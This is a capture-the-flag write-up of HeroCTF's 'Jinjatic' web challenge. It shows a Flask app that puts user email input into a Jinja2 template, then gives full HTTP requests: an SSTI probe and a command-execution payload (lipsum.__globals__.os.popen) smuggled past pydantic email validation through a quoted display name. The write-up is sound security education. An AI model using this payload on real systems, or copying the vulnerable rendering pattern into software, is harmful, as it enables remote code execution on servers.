Published on

HeroCTF - Jinjatic - Web

Authors

Description

A platform that allows users to render welcome email's template for a given customer, sounds great no ?

Solution

The provided code shows us that the app is using jinja 2 templating engine in flask for email template rendering. This can be easily tied to SSTI vulnerability.

class EmailModel(BaseModel):
    email: EmailStr

@app.route('/')
def home():
    return render_template('home.html')

@app.route('/mail')
def mail():
    return render_template('mail.html')

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80)

We test the basic SSTI payload to confirm the vulnerability.

POST /render HTTP/1.1
Host: dyn01.heroctf.fr:10019
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://dyn01.heroctf.fr:10019
Connection: keep-alive
Referer: http://dyn01.heroctf.fr:10019/mail
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email={{7*7}}@gmail.com

The result is returning 49 which confirm the SSTI issue

<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform !</h1>
            <p>Your email to connect is: <strong>49@gmail.com</strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

Now when we try different payloads we can see that due to pydantic email filtering we cannot try some symbols such as () ""[] as these don't fall in the category of valid email RFCs.

But in pydantic following email format will be valid.

POST /render HTTP/1.1
Host: dyn01.heroctf.fr:10019
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://dyn01.heroctf.fr:10019
Connection: keep-alive
Referer: http://dyn01.heroctf.fr:10019/mail
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email="test" <test@gmail.com>

So we can use the following payload to read the flag file.

"Worty test+{{lipsum.__globals__.os.popen('/getflag').read()}}@heroctf.fr" <worty@heroctf.fr>
POST /render HTTP/1.1
Host: dyn01.heroctf.fr:10019
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://dyn01.heroctf.fr:10019
Connection: keep-alive
Referer: http://dyn01.heroctf.fr:10019/mail
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email="Worty test+{{lipsum.__globals__.os.popen('/getflag').read()}}@heroctf.fr" <worty@heroctf.fr>

In response we get the flag.